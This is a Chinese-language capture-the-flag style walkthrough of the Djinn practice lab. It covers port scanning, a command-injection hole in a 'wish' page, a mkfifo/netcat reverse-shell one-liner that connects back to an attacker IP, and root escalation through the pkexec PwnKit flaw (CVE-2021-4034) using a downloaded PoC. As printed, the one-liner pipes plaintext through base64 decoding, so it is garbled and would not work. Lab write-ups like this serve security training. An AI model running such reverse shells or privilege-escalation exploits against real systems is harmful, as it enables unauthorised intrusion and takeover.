渗透测试靶场练习——Djinn

靶场来源：公众号：PTEHub，关注公众号：PTEHub 获取最新靶场资源

靶场类型：单局域网

信息收集

使用nmap进行扫描，获得如下信息

发现存在21端口，运行的服务是 ftp，1337端口运行的服务是waste，7331端口运行的服务是web

其中7331为web端口，web页面如下，没有发现有用信息

尝试对目录进行爆破，获取到了一个wish许愿页面和genie页面，尝试在wish页面输入框许愿一个命令whoami发现在genie页面存在回显，存在命令执行漏洞，那么我们可以许愿一个反弹shell，然后登录用户

登录获取FLAG

我们许愿写入反弹shell成功登录用户www-data，但是没有cat权限，无法获取flag

这里我们用函数mkfifo（建立实名管道）在tmp/aibne文件下写入用base64加密的反弹shell，然后再用base64解密完成后用sh解释器去执行

echo "mkfifo /tmp/aibne;cat /tmp/aibne|
/bin/sh -i 2>& 1|nc 10.17.23.17 3434 >/tmp/aibne" | base64 -d|sh

mkfifo命令基本上可以让你创建FIFO（又名命名管道）

什么是命名管道？

要理解这一点，你应该首先意识到基本管道的概念。 你会看到包含竖线（|）的命令。 这个栏被称为管道。 它所做的是创建两个进程之间的通信通道（执行完整命令时）。

例如：

ls | grep .txt

上面提到的命令由两个程序组成： ls和grep 。 这两个程序都由管道（|）分开。 所以这里的管道是什么，它创建了这些程序之间的通信通道 - 当执行上述命令时，ls的输出将作为输入提供给grep。 最后，在终端上显示的输出只包含那些在其中包含’.txt’字符串的条目。

 提权获取FLAG

我们没有root权限，无法查看flag，用sudo -l，find / -perm -4000 2>/dev/null命令查看一下敏感信息，我们发现更重要的 pkexec 提权漏洞，相关漏洞详情可以了解CVE-2021-4034，我们可以直接用poc拿到root权限再去查看www-data用户下的目录

 通过github下载 pkexec 的poc文件，然后通过python3的http服务实现文件共享，将poc上传到www-data 用户下，通过gcc进行编译后再执行编译好的poc，拿到root权限 

GitHub - arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)下载链接

成功提权到root，两个flag一起拿